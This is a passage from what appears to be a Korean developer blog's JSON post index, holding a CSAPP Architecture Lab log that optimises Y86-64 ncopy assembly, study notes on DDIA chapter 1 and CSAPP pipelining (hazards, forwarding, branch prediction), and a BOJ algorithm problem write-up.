from src... rmmovq %r10, (%rsi)\t# ...and store it to dst andq %r10, %r10\t# val \u0026lt;= 0? jle Done\t# if so, goto Npos: iaddq $1, %rax\t# count++ 오!! 이렇게하니까 된다!! CPE 10.08까지 줄였다. 배치가 0~64개까지 있으니까, 대충 8개정도가 제곱근 분할법상 맞는거같지만.. %r10부터 시작하니, %r10~r15까지 6개를 써서 해볼까? 하아 코드가 개길어진다 ncopy: xorq %rax,%rax\t# count = 0; isbig: iaddq $-6, %rdx jge Loop iaddq $6, %rdx router: # check remainder 0 to 5 iaddq $-1, %rdx jl Done je move1 iaddq $-2, %rdx jl move2 je move3 iaddq $-2, %rdx jl move4 je move5 Loop: mrmovq (%rdi), %r10 mrmovq 8(%rdi), %r11 mrmovq 16(%rdi), %r12 mrmovq 24(%rdi), %r13 mrmovq 32(%rdi), %r14 mrmovq 40(%rdi), %r9 rmmovq %r10, (%rsi) rmmovq %r11, 8(%rsi) rmmovq %r12, 16(%rsi) rmmovq %r13, 24(%rsi) rmmovq %r14, 32(%rsi) rmmovq %r9, 40(%rsi) Npos_loop1: andq %r10, %r10 jle Npos_loop2 iaddq $1, %rax Npos_loop2: andq %r11, %r11 jle Npos_loop3 iaddq $1, %rax Npos_loop3: andq %r12, %r12 jle Npos_loop4 iaddq $1, %rax Npos_loop4: andq %r13, %r13 jle Npos_loop5 iaddq $1, %rax Npos_loop5: andq %r14, %r14 jle Npos_loop6 iaddq $1, %rax Npos_loop6: andq %r9, %r9 jle Loop_end iaddq $1, %rax Loop_end: iaddq $48, %rdi iaddq $48, %rsi iaddq $-6, %rdx jge Loop iaddq $6, %rdx jmp router move1: mrmovq (%rdi), %r10 rmmovq %r10, (%rsi) jmp move_check10 move2: mrmovq (%rdi), %r10 mrmovq 8(%rdi), %r11 rmmovq %r10, (%rsi) rmmovq %r11, 8(%rsi) jmp move_check11 move3: mrmovq (%rdi), %r10 mrmovq 8(%rdi), %r11 mrmovq 16(%rdi), %r12 rmmovq %r10, (%rsi) rmmovq %r11, 8(%rsi) rmmovq %r12, 16(%rsi) jmp move_check12 move4: mrmovq (%rdi), %r10 mrmovq 8(%rdi), %r11 mrmovq 16(%rdi), %r12 mrmovq 24(%rdi), %r13 rmmovq %r10, (%rsi) rmmovq %r11, 8(%rsi) rmmovq %r12, 16(%rsi) rmmovq %r13, 24(%rsi) jmp move_check13 move5: mrmovq (%rdi), %r10 mrmovq 8(%rdi), %r11 mrmovq 16(%rdi), %r12 mrmovq 24(%rdi), %r13 mrmovq 32(%rdi), %r14 rmmovq %r10, (%rsi) rmmovq %r11, 8(%rsi) rmmovq %r12, 16(%rsi) rmmovq %r13, 24(%rsi) rmmovq %r14, 32(%rsi) move_check14: andq %r14, %r14 jle move_check13 iaddq $1, %rax move_check13: andq %r13, %r13 jle move_check12 iaddq $1, %rax move_check12: andq %r12, %r12 jle move_check11 iaddq $1, %rax move_check11: andq %r11, %r11 jle move_check10 iaddq $1, %rax move_check10: andq %r10, %r10 jle Done iaddq $1, %rax 열심히 했더니 8.01까지 줄었다!! 이분 탐색 router_tree: # now 0 \u0026lt;= rdx \u0026lt;= 5 iaddq $-3, %rdx je move3 jg router_tree_R router_tree_L: # rdx \u0026lt; 3 iaddq $2, %rdx jl Done je move1 jg move2 router_tree_R: # rdx \u0026gt; 3 iaddq $-1, %rdx je move4 jg move5 라우터를 이분탐색으로 해봤고, 7.80까지 줄일 수 있었다. move 로직도 좀 수정했다. ################################################################## # You can modify this portion # Loop header xorq %rax,%rax\t# count = 0; isbig: iaddq $-6, %rdx jge Loop router: iaddq $3, %rdx jl router_L je move3 jg router_R router_L: iaddq $2, %rdx jl Done je move1 jmp move2 router_R: iaddq $-1, %rdx je move4 jmp move5 Loop: mrmovq (%rdi), %r10 mrmovq 8(%rdi), %r11 mrmovq 16(%rdi), %r12 mrmovq 24(%rdi), %r13 mrmovq 32(%rdi), %r14 mrmovq 40(%rdi), %r9 Npos_loop1: andq %r10, %r10 rmmovq %r10, (%rsi) jle Npos_loop2 iaddq $1, %rax Npos_loop2: andq %r11, %r11 rmmovq %r11, 8(%rsi) jle Npos_loop3 iaddq $1, %rax Npos_loop3: andq %r12, %r12 rmmovq %r12, 16(%rsi) jle Npos_loop4 iaddq $1, %rax Npos_loop4: andq %r13, %r13 rmmovq %r13, 24(%rsi) jle Npos_loop5 iaddq $1, %rax Npos_loop5: andq %r14, %r14 rmmovq %r14, 32(%rsi) jle Npos_loop6 iaddq $1, %rax Npos_loop6: andq %r9, %r9 rmmovq %r9, 40(%rsi) jle Loop_end iaddq $1, %rax Loop_end: iaddq $48, %rdi iaddq $48, %rsi iaddq $-6, %rdx jge Loop jmp router move1: mrmovq (%rdi), %r10 jmp move_check10 move2: mrmovq (%rdi), %r10 mrmovq 8(%rdi), %r11 jmp move_check11 move3: mrmovq (%rdi), %r10 mrmovq 8(%rdi), %r11 mrmovq 16(%rdi), %r12 jmp move_check12 move4: mrmovq (%rdi), %r10 mrmovq 8(%rdi), %r11 mrmovq 16(%rdi), %r12 mrmovq 24(%rdi), %r13 jmp move_check13 move5: mrmovq (%rdi), %r10 mrmovq 8(%rdi), %r11 mrmovq 16(%rdi), %r12 mrmovq 24(%rdi), %r13 mrmovq 32(%rdi), %r14 move_check14: andq %r14, %r14 rmmovq %r14, 32(%rsi) jle move_check13 iaddq $1, %rax move_check13: andq %r13, %r13 rmmovq %r13, 24(%rsi) jle move_check12 iaddq $1, %rax move_check12: andq %r12, %r12 rmmovq %r12, 16(%rsi) jle move_check11 iaddq $1, %rax move_check11: andq %r11, %r11 rmmovq %r11, 8(%rsi) jle move_check10 iaddq $1, %rax move_check10: andq %r10, %r10 rmmovq %r10, (%rsi) jle Done iaddq $1, %rax 7.73정도까지 줄였는데.. 진짜 더는 못하겠다. 멀 해도 안줄어든다 ㅠ.ㅠ 여기서 포기 ❔질문 사항 🔗 참고 자료 ","date":"2026-03-31T00:00:00Z","permalink":"/posts/books/csapp/chapter-04-processor-architecture/260331_til_csapp-architecture-lab/","title":"CSAPP Architecture Lab"},{"content":"📝 상세 정리 인트로 오늘날 많은 애플리케이션들은 계산 중심이 아닌 데이터 중심적 애플리케이션을 제한하는 요소는 CPU 성능이 아닌, 데이터의 양 / 복잡도 등이라는 것 데이터를 저장 (DB) 데이터를 빠르게 읽기 (캐시) 검색과 색인 비동기 처리 (스트림) 주기적으로 분석 (배치 처리) 위와 같은것들을 진행해야하기 때문! 데이터시스템에 대한 생각 우리는 DB / 큐 / 캐시 등을 다르게 생각한다. 하지만 이걸 데이터 시스템이라고 묶어서 생각하자. 어차피 분류도 흐려지고 있으니까! 메세지큐로 사용하는 데이터스토어인 Redis 지속성을 보장하는 메세지큐인 Kafka 애플리케이션이 단일 도구로는 만족하기 어려울정도로 과도하고 광범위한 요구사항을 가지니까! 아무튼 소프트웨어 시스템에서는 그러면 신뢰성 / 확장성 / 유지보수성이 중요한데 신뢰성 소프트웨어에 대한 신뢰란? 애플리케이션은 사용자가 기대한 기능을 수행한다. 실수나 예상치 못한 사용법도 허용한다. 필수적인 사용사례를 충분히 만족한다. 허가되지 않은 접근, 오남용을 방지한다. 결함과 장애 결함 잘못될 수 있는 일 장애 사용자에게 필요한 서비스를 제공하지 못하고 시스템 전체가 멈춘 경우 결함 확률을 0으로 만드는건 불가능하지만, 결함으로 인해 장애가 발생하지 않게끔 해야 한다. 하드웨어 결함 하드디스크 고장 / 램 결함 / 정전 / 네트워크 케이블 이슈 등 시스템 장애율을 줄이기 위해 하드웨어 구성요소에 중복을 추가하기 디스크 RAID구성 이중전원 CPU 예비전원용 디젤 발전기 이전에는 저정도로 충분했지만\u0026hellip; 이제는 데이터양과 계산 요구가 늘어나면서 하드웨어 결함률도 증가했다. 소프트웨어 내결함성 기술도 사용해야한다 소프트웨어 오류 하드웨어 결함을 무작위적이고 서로 독립적이라고 생각한다. 온도같은 약한 상관관계도 있겠지만 시스템 내 체계적 오류(systematic error)가 있을 수도 있다. 잘못된 특정 입력이 있을때 서버 인스턴스가 죽는 버그 CPU / 메모리 / 디스크 / 네트워크를 과도하게 사용하는 프로세스 반응이 없거나 잘못된 응답을 반환하는 서비스 연쇄 장애 등의 큰 이슈도 있다. 여기에는 신속한 해결책은 없다. 빈틈없는 테스트, 프로세스 격리, 모니터링, 분석 등으로 열심히 해야지.. 인적 오류 사람이 하는일이다보니 오류가 난다 사실 운영자 설정 오류가 하드웨어 결함보다 훨씬 많다 확장성 증가한 부하에 대처하는 시스템 능력 부하 기술하기 부하 매개변수라 부르는 몇개의 숫자로 나타내자. 웹 서버의 초당 요청수 데이터베이스의 읽기 대 쓰기 비율 액티브 유저 캐시 적중률 등.. 평균적인경우가 중요할수도 있고, 극단적인 케이스가 병목일수도 있고 트위터의 경우 개별 사용자는 많은 사람을, 많은 사람은 개별 사용자를 팔로하는데서 문제가 생김 읽기가 쓰기에 비해 훨씬 많이 일어나므로, 쓰기 시점에 더 많은 일을 하는것이 바람직하다. 미리 캐시로 계산해버렷 하지만 이러면 팔로워가 많은사람은 쓰기 비용이 너무 커지니까.. 이럴때는 읽기에 더 많은 일을 시킨다. 성능 기술하기 부하 매개변수를 증가시키고, 시스템 자원은 그대로 두면 성능이 어떻게 될까? 성능이 변하지 않기 위해선 자원을 얼마나 많이 늘려야 할까? 하둡과 같은 처리 시스템에서는 처리량(throughput)에 관심을 가지고, 온라인 시스템에서는 응답시간에 관심을 가진다. 응답시간은 평균, 백분위, 꼬리 지연 시간 등으로 목표를 설정한다. 이 목표를 서비스 수준 목표(SLO) 혹은 서비스 수준 협약서 (SLA)라고 한다. 높은 백분위에서 응답시간의 상당부분은 큐 대기 지연이 차지한다. 앞의 느린 요청들 처리를 기다리는 시간 이를 선두차단이라 한다. 부하 대응 접근 방식 용량 확장 (수직 확장) 좀더 좋은 장비로 바꾸기 규모 확장 (수평 확장) 다수의 낮은 사양 장비에 부하를 분산하기 비공유 아키텍쳐 유지보수성 레거시 시스템 유지보수\u0026hellip;. 이를 위해선 다음이 중요하다 운용성 단순성 발전성 운용성 운영의 편리함 만들기 시스템 상태 모니터링 / 서비스 복원 시스템 장애, 성능 저하 원인 추적 ..등등 단순성 시스템에서 복잡도를 최대한 제거해서 새로운 엔지니어가 시스템을 이애하기 쉽게 만들기 추상화를 적절히 사용해서 우발적 복잡도를 제거하자. 발전성 엔지니어가 이후에 시스템을 쉽게 변경할 수 있게 하기 애자일 / TDD 등 정리 애플리케이션이 유용하기 위해선 다양한 요구사항을 충족해야한다. 이에는 기능적 요구사항과 비기능적 요구사항이 있다. 여기서 비기능적 요구사항인 신뢰성 / 확장성 / 유지보수성을 살펴봤다.\n❔질문 사항 🔗 참고 자료 ","date":"2026-03-29T00:00:00Z","permalink":"/posts/books/ddia/260329_til_%EB%8D%B0%EC%9D%B4%ED%84%B0-%EC%A4%91%EC%8B%AC-%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EC%84%A4%EA%B3%84-01-%EC%8B%A0%EB%A2%B0%ED%95%A0-%EC%88%98-%EC%9E%88%EA%B3%A0-%ED%99%95%EC%9E%A5-%EA%B0%80%EB%8A%A5%ED%95%98%EB%A9%B0-%EC%9C%A0%EC%A7%80%EB%B3%B4%EC%88%98%ED%95%98%EA%B8%B0-%EC%89%AC%EC%9A%B4-%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98/","title":"01 신뢰할 수 있고 확장 가능하며 유지보수하기 쉬운 애플리케이션"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/32453 문제 Barbara는 정원을 가지고 있다. 정원은 길고 좁으며, 일렬로 배치된 $m$개의 동일한 크기의 구역으로 나뉘어 있다. 그녀의 친구 Babara는 생일 선물로 $n$개의 디딤돌을 주었다. Barbara는 이 디딤돌들을 정원에 배치하여 매일 디딤돌을 밟으며 즐길 수 있게 했다. $i$번째 디딤돌은 정원의 $l_i$번째부터 $r_i$번째 구역을 완전히 차지한다. 디딤돌들은 서로 겹치지 않으며, 어떤 두 디딤돌 사이에도 최소 $d$개의 빈 구역이 있다.\n아래는 $m = 15$, $n = 3$, $d = 2$이고, 세 디딤돌이 각각 $2$–$4$번, $7$–$7$번, $12$–$13$번 구역을 차지하는 유효한 배치의 예시이다.\nBarbara는 최근 정원의 $x$개의 연속된 구역을 차지하게 될 디딤돌을 하나 새로 구입했다. 그녀는 기존 디딤돌들을 정원 안에서 이동시킨 후, 새 디딤돌을 정원 어딘가에 놓을 것이다. 기존 디딤돌들을 이동시키고 새 디딤돌을 놓은 후, 디딤돌들은 서로 겹치지 않아야 하며 어떤 두 디딤돌 사이에도 최소 $d$개의 빈 구역이 있어야 한다. 또한 디딤돌을 재배치하는 과정에서도 디딤돌들은 서로 겹치지 않아야 한다.\n디딤돌 하나를 인접한 구역으로 이동시키는 데 1분이 걸린다. 예를 들어, 위의 재배치 과정은 4분이 걸린다. 이제 Barbara는 \u0026ldquo;다른 목적\u0026quot;을 위해 시간을 아낄 수 있도록, 디딤돌들을 재배치하여 새 디딤돌을 정원에 놓을 수 있게 하는 데 필요한 최소 총 시간을 알고 싶다.\n입력 첫째 줄에 네 정수 $n$, $m$, $d$, $x$가 주어진다. 다음 $n$줄의 $i$번째 줄에는 두 정수 $l_i$와 $r_i$가 주어진다.\n출력 새 디딤돌을 정원에 놓을 수 있도록 디딤돌들을 재배치하는 데 필요한 최소 총 시간(분)을 출력한다. 아무리 재배치해도 새 디딤돌을 정원에 놓을 수 없다면 -1을 출력한다.\n🧐 관찰 및 접근 흠, 일단 -1이 나오는 상황은 그리디하게 가능한 것 같다. 맨앞으로 다 밀었다고 생각하고, 들어가나 안들어가나?를 보면 되겠네. 그 다음에는, 결국 잘 밀고싶을 뿐이다. 새로운 디딤돌이 들어갈 위치를 고정한다음에 나머지를 구해볼까? 하지만, 그렇게 하기에는 시간복잡도가 $m$에 붙으면, 터져버린다. $n$에 붙게 해야할 것 같은데.. 그러면 디딤돌이 $k, k+1$번째 사이에 들어간다고 가정하자. 이때 $O(n)$에 최솟값을 구할 수 있다면, $O(n^2)$에 문제를 해결할 수 있을 것 같다. 로그 하나정도도 붙어도 될 것 같고. 일단 예시 1번을 이용해보자. $(2-4), (7-7)$ 두개의 디딤돌 사이에 들어가려고 한다. 맨 왼쪽으로 붙었다면 $(1-3), (6-8), (11-11), (14-15)$ 처럼 완성되어야 할 것 같다. $(6-8)$이 새로 들어온 디딤돌이다. 어? 이거 $m$에 대해 삼분탐색으로 구할 수 있지 않을까? 그렇게하고 그리디하게 $n$번 돌면서 밀면서 체크하면 $O(n^2\\log{m})$에 풀릴 것 같은데 💻 풀이 코드 (C++): 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-03-22T00:00:00Z","permalink":"/posts/algorithm/ps/260322_algorithm_boj-32453-efficient-slabstones-rearrangement/","title":"BOJ 32453 Efficient Slabstones Rearrangement"},{"content":"📝 상세 정리 4.6.0 Intro 우리는 ISA가 프로세서의 동작과 프로세서의 구현 방식 사이의 추상화를 제공함을 보았다. Y86-64 ISA는 x86-64 명령어를 기반으로, 대폭 단순화해서 정의했다. RISC, CISC 명령어 집합의 특성을 모두 지니고 있다. 파이프라이닝을 통해 시스템 처리량의 성능을 향상시켰다. SEQ를 재배열하여 SEQ+를, 파이프라인 레지스터를 추가하여 PIPE를 만들었다. 결과 전송 속도를 높이기 위해 포워딩 로직을 추가했다. 여러 틁수한 경우에 파이프라인 단계를 정지 / 취소하는 제어 로직도 만들었다 우리가 배운 프로세서 설계에 관한 몇가지 교훈은 다음과 같다. 복잡성 관리는 최우선 과제이다. 최소비용으로 최대성능을 얻기 위해 ISA를 직접 구현할 필요가 없다. 같은 ISA를 구현하는 방식에 대한 제약을 두지 어ㅏㄴㅎ는다는 의미이다. 세심해야한다. 칩이 제조되면 수정이 불가능하므로, 체계적인 시뮬레이션 테스트가 필요하다. 4.6.1 Y86-64 Simulators 시뮬레이터의 제어 로직은 로직 블럭에 대한 HCL 선언을 C러ㅗ 변환하여 생성된다. 테스트 스크립트도 있을 것이다. ❔질문 사항 ❓ RISC, CISC? CISC(Complex Instruction Set Computer) -\u0026gt; 명령어 하나에 많은 일을 담자 RICS(Riduces Instruction Set Computer) -\u0026gt; 명령어를 단순하고 균일하게. 컴파일러가 조합하게 하자.\n🔗 참고 자료 ","date":"2026-03-22T00:00:00Z","permalink":"/posts/books/csapp/chapter-04-processor-architecture/260322_til_csapp-4.6-summary/","title":"CSAPP 4.6 Summary"},{"content":"📝 상세 정리 4.5.0 Intro 이제 설계를 시작할 준비가 되었다. SEQ를 소폭 수정하여 PC계산을 fetch 단계로 옮기자. 파이프라인 레지스터를 추가하자. 아직 종속성을 제대로 처리하지 못하지만, 일단 효율적인 파이프라인을 만들어보자. 4.5.1 SEQ+: Rearranging the computation Stages SEQ의 5단계를 약간 재배열해서 PC업데이트 단계가 클록 주기의 끝이 아닌 시작에 오도록 하자. 이 설계를 SEQ+라고 한다. PC를 클록 주기의 시작에 오게 하기 위해선, 이전의 icode, Cnd, valC, valM, valP등이 필요하다. 이젠 이 다섯개를 하드웨어 레지스터를 따로 둬서 저장하면 되겠다. 이걸 회로 리타이밍이라고 한다. 4.5.2 Inserting Pipeline Registers 중간에 stat, icode, ifun, rA, rB, valC, valA, valP, dstE\u0026hellip; 등 여러가지를 저장하는 층을 만들자. SEQ의 단계와 같지만, 단계 사이를 파이프라인 레지스터가 분리하고 있는것이다. 그 층의 이름은 다음과 같다. F: PC의 예측값 보유 D: Fetch와 Decode 사이에서, 최근에 인출된 명령어에 대한 정보 보유 E: Decode와 Execute 사이에서, 가장 최근에 디코드된 명령어에 대한 정보와 레지스터파일에서 읽은 값 보유 M: Execute와 Memory 사이에서, 메모리단계에서 처리할 가장 최근에 실행된 명령어의 결과 보유 조건부 점프 처리를 위한 분기조건 / 대상에 대한 정보도 보유 W: Memory와 Write back 단계 사이에서, 계산된 결과를 레지스터 파일에 쓰기 위한 정보 보유 ret 명령어 완료시 PC 선택 로직에 반환 주소 공급 4.5.3 Rearranging ans Relabeling Signals SEQ와 SEQ+는 한번에 하나의 명령어만 처리하므로 valC, rscA, valE와 같은 신호에 고유한 값 존재 하지만 파이프라인 설계에서는 서로 다른 명령어와 연관된 여러 버전 존재 올바른 버전의 신호를 사용하도록 주의하지 않으면, 오류가 발생할 수 있다. 따라서 D_stat, E_stat.. 처럼 명명하자. 하드웨어 레지스터가 아닌 그 안에서 계산되는 stat과 같은 부분도 있다! 이는 소문자로 f_stat, m_stat과 같이 쓰자. 전체 프로세서의 실제 상태는 W_stat을 기반으로 Write Back 단계에서 계산된다. SEQ+, PIPE- 의 디코드단계는 모두 valE, valM용 dstE, dstM 신호를 생성한다. SEQ+에서는 이 신호를 레지스터 파일 쓰기 포트에 직접 꽂았지만 PIPE-에서는 이 신호가 파이프라인을 통해 전달되어, Write Back 단계에서 신호가 전달되면 그때 수행한다. PIPE에서 SEQ+에 없는게 하나 있다. Select A 블럭 이 블럭은 파이프라인 레지스터 D의 valP 혹은 레지스터파일의 A포트에서 값을 선택하여 valA를 결정한다. 이는 파이프라인 레지스터 E와 M으로 전달되어야 하는 상태 양을 줄이기 위해서이다. call 명령어만이 메모리단계에서 valP를 필요로 한다. 조건부 점프만이 Execute 단계에서 valP를 필요로 한다. (안뛸떄) 두 경우 모두 레지스터파일을 읽은 값을 쓰지 않는다. 따라서 이 신호를 병합하여 valA를 통해 전달하면서, 파이프라인 레지스터의 상태 양을 줄일 수 있다. 4.5.4 Next PC Prediction 파이프라인 설계의 목표는 매 클럭 사이클마다 새로운 명령어를 발행하는 것 이를 달성하기 위해선, 현재 명령을 가져온 직후 다음 명령어의 위치를 결정해야함 하지만 가져온 명령어가 조건부 분기라면, 명령어가 실행 단계를 통과한 후에나 알 수 있다. 가져온 명령어가 ret라면 메모리 단계를 통과한 후에나 알 수 있따. 나머지는 모두 Fetch 단계에서 계산된 정보를 기반으로 다음 명령어의 주소를 결정할 수 있다. call과 jmp의 경우에는 valC, 그 외의 경우에는 valP가 된다. 따라서 PC의 다음 값을 예측하면서, 클럭마다 새로운 명령어를 발행시키자. 조건부는 무조건 뛴다 or 무조건 안뛴다 등으로 결정해버리면 된다. 예측이 틀렸을때 어떻게 하는지는 4.5.8장에서 다루겠다. 이 방법을 분기 예측 (branch prediction) 이라고 한다. 우리는 뭄조건 뛴다고 예측하고 해보자. 따라서 PC를 valC로 예측하자. ret는.. 이슈가 깊다. 여기에서는 거의 모든 값이 올 수 있으니까. 따라서, 우리 설계에서는 ret에 대해서는 예측하지 않고, Write back이 끝날때까지 명령어 처리를 보류하겠다. 이것도 4.5.8에서 다루자. Fetch 단계를 보면 Predict PC에 valP, valC가 꽂혀있는걸 볼 수 있다. 이걸 F_predPC에 저장한다. F_predPC와 M_valA, W_valM, M_cnd를 이용해서 Select PC를 진행한다. ret일때는 W_valM, jump할때는 M_valA로 가던가 하겠다. 4.5.5 Pipeline Hazards 아직 우리는 종속성 문제를 해결하지 못했다. 종속성은 두가지 형태로 나타난다. 데이터 종속성 한 명령어에 의해 계산된 결과가 후속 명령어의 데이터로 사용되는 경우 제어 종속성 한 명령어가 후속 명령어의 위치를 결정하는 경우 jump, call, ret일때 이 위험성들을 우리는 hazard라고 한다. 이도 똑같이 데이터 hazard, 제어 hazard라고 한다. Data hazard irmovq $10, %rdx irmovq $3, %rax (여러개의 nop) addq %rdx, %rax halt 와 같은 코드가 있었다고 할 때, nop의 개수에 따라 오류가 발생할 수도 안발생할 수도 있다. 예를들어 nop가 세개 이상이라면 문제가 없지만, 없다면? addq가 rdx, rax를 읽을때 위의 명령어들의 Write back 단계에 가지 못했기 때문 \bAvoid Data Hazards by Stalling 위험조건이 더이상 성립하지 않을 때까지 파이프라인 내 하나 이상의 명령어를 대기시키는 것 소스 연산자를 생성하는 명령어가 쓰기 Write back 단계를 통과할 때 까지 Decode 단계의 명령어를 대기시키면 된다. addq 명령어가 Decode 단계에 있을 때, Execute, Memory, Write back 단계에 있는 명령어중 하나가 %rdx나 %rax를 업데이트 할 것을 감지하면, 명령어를 스테일링해서 Decode 단계에서 대기시킨다. 물론 이때 뒤의 Fetch단계에 있는 명령어도 보류된다. 이는 실행단계에 버블을 주입해서 처리한다. 이는 동적으로 생긴 nop와 같다. 상세 메커니즘은 4.5.8에서 살펴보자. 그러나 이러한 방법은 구현은 쉽지만 아무래도 결과적인 성능이 좋진 않다. 3사이클이나 쉬게 되니까 Avoiding Data Hazards by Forwarding PIPE는 기본적으로 소스 연산자를 Decode 단계에서 레지스터 파일에서 읽지만, 해당 소스 레지스터중 하나에 대한 쓰기 작업이 Wrtie back 단계에서 대기중일 수도 있다! 써질때까지 기다리는 대신, 곧 쓰일 값을 거기서 Decode 단계에 훔쳐와서 써버리자. 이런 방법을 Data Forwarding / Forwarding / Bypassing 이라고 한다. 데이터 포워딩을 구현하기 위해선 기본적인 하드웨어 구조에 추가적인 데이터 연결 및 제어 로직이 있어야 한다. 이렇게 데이터 해저드를 포워딩으로 처리할 수 있는 PIPE를 PIPE+라고 한다. Load/Use Data Hazards Memory 작업이 파이프라인 후반부에 있기에, 포워딩만으로 처리할 수 없는 한 해저드 클래스가 존재한다. mrmovq 0(%rdx), %rax addq %ebx, %eax 위와 같이 메모리에서 읽어온 값을 그대로 써야한다고 해보자. 이건 데이터 포워딩으로 불가능할 것 같다. 어떻게 해야하지? 이건 어쩔수없이 Stalling 해야한다. Stall 한번 후 Memory 단계에서 Forward로 데려오면 되겠다! 이런 load/use Hazard를 피하기 위한 stall + Forward를 load interlock이라고 한다. 이것만이 파이프라인 처리량을감소시키므로, 매 클럭 사이클마다 새로운 명령어를 발행한다는 목표는 거의 도달했다고 볼 수 있다. Control Hazards 이는 위에서 말한것과 같이 Fetch단계의 현재 명령어를 기반으로 다음 명령어의 주소를 신뢰할 수 없을때 ret / jump 에 대해서만 이슈 특히 jump는 예측을 실패했을때만 이슈 ret는 fetch 후 write back 단계에 돌입할때까지 (Memory가 끝날때까지) bubble을 주입해서 다음 PC를 계산할 수 있도록 기다린다. bubble 3개! jump가 이슈인데, 이는 일단 분기 예측을 했다고 가정하자. 분기 예측을 실패하면, 몇개의 잘못된 명령어들이 Fetch, Decode에 들어가있는 상태이다. 그러면 이 잘못된 명령어 / 계산값들을 버려야한다. 따라서 디코드 및 실행 단계에 버블을 주입해서, 이 명령어들을 취소 (instruction squashing) 할 수 있다. 우리가 관찰 가능한 상태에는 문제가 안생기고, 두 클럭이 낭비된다는 단점만 있다. 구체적인 방법은 4.5.8장에서 보자. (왤케 미루냐) 4.5.6 Exception Handling 프로세서 내의 다양한 활동이 예외 상황으로 갈 수도 있다. 이건 프로그램에 의해 내부적으로 / 혹은 외부 신호에 의해 외부적으로 생성될 수 있다. 우리 ISA에는 다음과 같은 내부 생성 예외가 있다. 정지 명령어 (halt) 명령어와 함수 코드의 유효하지 않은 조합 명령어 페치 또는 데이터 읽기/쓰기에서 유효하지 않은 주소에 대한접근 보다 완전한 프로세서라면, 네트워크 인터페이스가 새 패킷을 수신하거나 / 사용자가 클릭을 했다는 외부 예외도 처리해야 한다. 예외를 발생시킨 명령어를 예외 발생 명령어 (excepting instruction) 이라고 부르자. 실제 이런 명령어는 존재하지 않지만, 유효하지 않은 주소에 가상 명령어가 존재한다고 생각하면 쉽다. 예외에 도달하면 정지하고, 적절한 상태 코드를 설정해야한다. 파이프라인 시스템에서 예외처리는 몇가지 미묘한 세부 사항을 수반한다 여러 명령어에 의해 동시에 예외가 발생할 수 있다. Fetch / Memory 단계에서 동시에 발생할 수 있지 그러면 어떤걸 먼저 보고할지 결정해야 한다. 기본 규칙은 가장 먼저 진행된 명령어에 의해 트리거된 예외에 우선 순위를부여하는 것 그러면 Memory겠네 명령어가 처음 Fetch되어 시작되고 예외를 발생시킨 후, 잘못된 분기예측으로 인해 취소된 경우 이 명령어를 취소하지만, 예외도 발생시키지 않도록 해야한다. fetch조차 되면 안되는 명령어였기 때문 예외를 발생시키는 명령어 다음에 오는 명령어가 해당 예외 명령어가 완료되기 전에 시스템 상태의 일부에 영향을 줄 수 있다. Memory 단계에서 예외를 발견했지만, 이때 Execute에서 조건코드같은걸 수정한 경우 예외 발생 이후에는 어떤 명령어도 시스템 상태에 영향을 미치면 안되니까 4.5.7 PIPE Stage Implementations 이제 포워딩을 갖춘 Y86-64 PIPE의 전체 구조를 완성했다. PC_Relection and fetch Stage PC에 대한 현재 값을 선택하고 다음 PC값을 예측 Select PC에서 될 수 있는 값은 F_predPC (웬만한 경우) M_valA (예측 실패한 분기가 메모리단계에 진입할떄 / ret가 아닌 valP) W_valM (ret 명령어가 워크백 단계에 진입할 때) Decode and Write-Back Stages dstE, dstM, srcA, srcB 를 잘 관리하기 포워딩을 신경써야한다. 포워딩 소스는 총 5개가 존재한다. e_valE -\u0026gt; e_dstE m_valM -\u0026gt; M_dstM M_valE -\u0026gt; M_dstE W_valM -\u0026gt; W_dstM W_valE -\u0026gt; W_dstE 이 5개중에 해당하지 않으면 블럭은 레지스터 포트 A에서 읽은 d_rvalA를 출력하면 된다. 위의 순서대로 우선순위가 잡혀있는데, 이는 상당히 중요하다. Execute Stage SEQ때랑 비슷하다. 조건 코드를 업데이트하는 set CC가 m_stat과 W_stat 신호를 입력으로 받는것만 차이 파이프라인 앞단계에 예외 상태인 명령어가 있으면 조건코드 업데이트를 막기 위해! Memory Stage SEQ때랑 거의 동일하다. 4.5.8 Pipeline Control logic 이제 데이터 포워딩 / 분기예측과 같은 메커니즘으로 처리할 수 없는 네가지 제어 사례를 처리하고, PIPE의 설계를 완료하자. Load/use Hazard 한사이클 정지해야함 ret ret이 write-back에 도달할때까지 파이프라인이 정지해야함 잘못된 예측 분기 명령어들을 취소하고, 점프명령어 다음 명령어에서 명령어 추출이 시작되어야함 Exception 예외가 발생해씅랟, 관찰 가능한 상태의 업데이트를 비활성화해야함 Desired Handling of Special Control Cases load/use 4.5.5에서 배운것과 같이, mrmovq, popq만이 데이터를 읽는데 이들 중 하나가 execute 스테이지에 있고 목적지 레지스터를 필요로하는 명령어가 decode에 있을때 대기시키고 다음 사이클의 실행단계에 bubble을 주입해야 한다. 파이프라인 레지스터 D, F를 고정해야 한다. ret 3사이클 대기시키면 된다. 잘못된 예측 분기 D, E단계에 버블을 주입한다. 올바른 명령어를 fetch한다. 예외 발생 파이프라인 구현이 원하는 ISA동작과 일치하도록 한다. 이게 좀 어렵다. 예외가 프로그램 실행중 Fetch / Memory 두단계에서 발생할 수 있고 프로그램 상태가 Execute / Memory / write-back 세곳에서 업데이트되기 때문 각 단계에는 stat이 포함되어있어서, 명령어마다 그 상태를 추적한다. 예외가 발생하면 해당 정보를 상태 일부로 기록하고, 메모리 단계에 도달하면, 후속 명령어가 관찰 가능한상태를 수정하지 못하도록 Execute 단계의 명령어가 조건 코드를 설정하지 못하도록 비활성화 Memory 단계에 버블을 주입하여 데이터 메모리로의 쓰기 비활성화 Write back 단계에 예외를 유발하는 명령어가 있을 경우 정지 write-back이 레지스터 파일을 갱신하는 유일한 단계이기 때문! Detecting Special Control Conditions 이런 특수 상황이 발생하는 조건 load/use E_icode ∊ {IMRMOVQ, IPOPQ} \u0026amp;\u0026amp; E_dstM ∊ {d_srcA, d_srcB} ret IRET ∊ {D_icode, E_icode, M_icode} 잘못된 예측 분기 E_icode = IJXX\u0026amp;\u0026amp; !e_Cnd 예외 m_stat ∊ {SADR, SINS, SHLT} || W_stat ∊ {SADR, 